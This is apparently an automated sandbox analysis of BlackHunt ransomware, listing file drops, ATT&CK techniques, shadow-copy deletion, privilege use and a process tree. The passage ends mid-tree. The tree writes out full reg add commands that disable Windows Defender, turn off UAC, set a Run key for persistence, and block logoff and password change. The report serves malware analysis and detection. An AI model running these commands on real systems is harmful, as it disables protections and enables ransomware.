File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\SpecialOccasion\SpecialNavigationUp_SelectionSubpicture.png	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\br\#BlackHunt_Private.key	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\css\mobile.css	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\jre\lib\deploy\#BlackHunt_Private.key	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\locale\#BlackHunt_ReadMe.txt	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Etc\GMT-1	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\hy\#BlackHunt_ReadMe.txt	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.e4.rcp_1.3.100.v20141007-2033\META-INF\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\update_tracking\org-openide-dialogs.xml	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\mr\LC_MESSAGES\vlc.mo	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\AcroForm\PMP\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\Google\#BlackHunt_Private.key	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\Pets\Scenes_LOOP_BG.wmv	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\rt.jar	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\DVD Maker\ja-JP\#BlackHunt_ReadMe.txt	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\Java\jdk1.7.0_80\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mk\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\America\Santiago	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Asia\Riyadh87	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.help.ui.nl_ja_4.4.0.v20140623020002.jar	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\config\Modules\com-sun-tools-visualvm-host.xml	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files (x86)\Adobe\Reader 9.0\Resource\SaslPrep\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Tracker\review_same_reviewers.gif	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.ssl.feature_1.0.0.v20140827-1444\META-INF\ECLIPSE_.SF	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.jface.text.nl_ja_4.4.0.v20140623020002.jar	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\ext\sunec.jar	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.core.feature_1.1.0.v20140827-1444\META-INF\ECLIPSE_.RSA	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\org.eclipse.equinox.frameworkadmin.equinox.nl_zh_4.4.0.v20140623020002.jar	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\lua\http\images\speaker-32.png	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\DVD Maker\Shared\DvdStyles\ResizingPanels\NavigationRight_ButtonGraphic.png	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.ecf.filetransfer.feature_3.9.0.v20140827-1444\META-INF\eclipse.inf	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\cmm\GRAY.pf	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\plugins\access_output\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.greychartplugin_5.5.0.165303.jar	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_ReadMe.hta	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\#BlackHunt_ReadMe.txt	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
File opened for modification	C:\Program Files\Java\jre7\lib\zi\Pacific\Pitcairn	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2040	schtasks.exe

Interacts with shadow copies 2 TTPs 6 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

pid	Process
240	vssadmin.exe
1624	vssadmin.exe
768	vssadmin.exe
1616	vssadmin.exe
1432	vssadmin.exe
908	vssadmin.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
2640	taskkill.exe

Modifies registry class 8 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2416	PING.EXE

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
204	mshta.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

description	pid	Process
Token: SeDebugPrivilege	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
Token: SeRestorePrivilege	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
Token: SeBackupPrivilege	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
Token: SeTakeOwnershipPrivilege	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
Token: SeAuditPrivilege	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
Token: SeSecurityPrivilege	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
Token: SeIncBasePriorityPrivilege	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
Token: SeBackupPrivilege	2520	vssvc.exe
Token: SeRestorePrivilege	2520	vssvc.exe
Token: SeAuditPrivilege	2520	vssvc.exe
Token: SeBackupPrivilege	2392	wbengine.exe
Token: SeRestorePrivilege	2392	wbengine.exe
Token: SeSecurityPrivilege	2392	wbengine.exe
Token: SeSecurityPrivilege	2368	wevtutil.exe
Token: SeBackupPrivilege	2368	wevtutil.exe
Token: SeSecurityPrivilege	2220	wevtutil.exe
Token: SeBackupPrivilege	2220	wevtutil.exe
Token: SeSecurityPrivilege	2472	wevtutil.exe
Token: SeSecurityPrivilege	636	wevtutil.exe
Token: SeSecurityPrivilege	2568	wevtutil.exe
Token: SeBackupPrivilege	2472	wevtutil.exe
Token: SeBackupPrivilege	636	wevtutil.exe
Token: SeBackupPrivilege	2568	wevtutil.exe
Token: SeDebugPrivilege	2640	taskkill.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2056 wrote to memory of 2316	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	30
PID 2056 wrote to memory of 2316	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	30
PID 2056 wrote to memory of 2316	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	30
PID 2056 wrote to memory of 2316	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	30
PID 2056 wrote to memory of 2664	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	31
PID 2056 wrote to memory of 2664	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	31
PID 2056 wrote to memory of 2664	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	31
PID 2056 wrote to memory of 2664	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	31
PID 2316 wrote to memory of 2828	2316	cmd.exe	35
PID 2316 wrote to memory of 2828	2316	cmd.exe	35
PID 2316 wrote to memory of 2828	2316	cmd.exe	35
PID 2056 wrote to memory of 2848	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	34
PID 2056 wrote to memory of 2848	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	34
PID 2056 wrote to memory of 2848	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	34
PID 2056 wrote to memory of 2848	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	34
PID 2664 wrote to memory of 2968	2664	cmd.exe	36
PID 2664 wrote to memory of 2968	2664	cmd.exe	36
PID 2664 wrote to memory of 2968	2664	cmd.exe	36
PID 2056 wrote to memory of 2712	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	37
PID 2056 wrote to memory of 2712	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	37
PID 2056 wrote to memory of 2712	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	37
PID 2056 wrote to memory of 2712	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	37
PID 2056 wrote to memory of 2684	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	38
PID 2056 wrote to memory of 2684	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	38
PID 2056 wrote to memory of 2684	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	38
PID 2056 wrote to memory of 2684	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	38
PID 2056 wrote to memory of 2960	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	135
PID 2056 wrote to memory of 2960	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	135
PID 2056 wrote to memory of 2960	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	135
PID 2056 wrote to memory of 2960	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	135
PID 2056 wrote to memory of 2720	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	42
PID 2056 wrote to memory of 2720	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	42
PID 2056 wrote to memory of 2720	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	42
PID 2056 wrote to memory of 2720	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	42
PID 2848 wrote to memory of 2596	2848	cmd.exe	44
PID 2848 wrote to memory of 2596	2848	cmd.exe	44
PID 2848 wrote to memory of 2596	2848	cmd.exe	44
PID 2056 wrote to memory of 2928	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	45
PID 2056 wrote to memory of 2928	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	45
PID 2056 wrote to memory of 2928	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	45
PID 2056 wrote to memory of 2928	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	45
PID 2056 wrote to memory of 2588	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	47
PID 2056 wrote to memory of 2588	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	47
PID 2056 wrote to memory of 2588	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	47
PID 2056 wrote to memory of 2588	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	47
PID 2712 wrote to memory of 2844	2712	cmd.exe	143
PID 2712 wrote to memory of 2844	2712	cmd.exe	143
PID 2712 wrote to memory of 2844	2712	cmd.exe	143
PID 2056 wrote to memory of 2724	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	49
PID 2056 wrote to memory of 2724	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	49
PID 2056 wrote to memory of 2724	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	49
PID 2056 wrote to memory of 2724	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	49
PID 2056 wrote to memory of 2604	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	54
PID 2056 wrote to memory of 2604	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	54
PID 2056 wrote to memory of 2604	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	54
PID 2056 wrote to memory of 2604	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	54
PID 2056 wrote to memory of 2572	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	50
PID 2056 wrote to memory of 2572	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	50
PID 2056 wrote to memory of 2572	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	50
PID 2056 wrote to memory of 2572	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	50
PID 2056 wrote to memory of 2632	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	56
PID 2056 wrote to memory of 2632	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	56
PID 2056 wrote to memory of 2632	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	56
PID 2056 wrote to memory of 2632	2056	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe	56

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe
"C:\Users\Admin\AppData\Local\Temp\c87c085df757b4f1962d5aeebf99345053bf5e6be5993c4984b11004de84757c.exe"
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:2056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2664
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2848
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:2596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2712
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    PID:2844
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:2684
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:2680
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:2960
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    PID:2904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:2720
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:2648
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:2928
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:2468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:2796
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2724
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:1364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:2572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:2528
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:2604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:2632
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:3040
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:2404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:2340
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:268
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1592
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:1148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2804
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2916
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2856
- C:\Windows\System32\cmd.exe
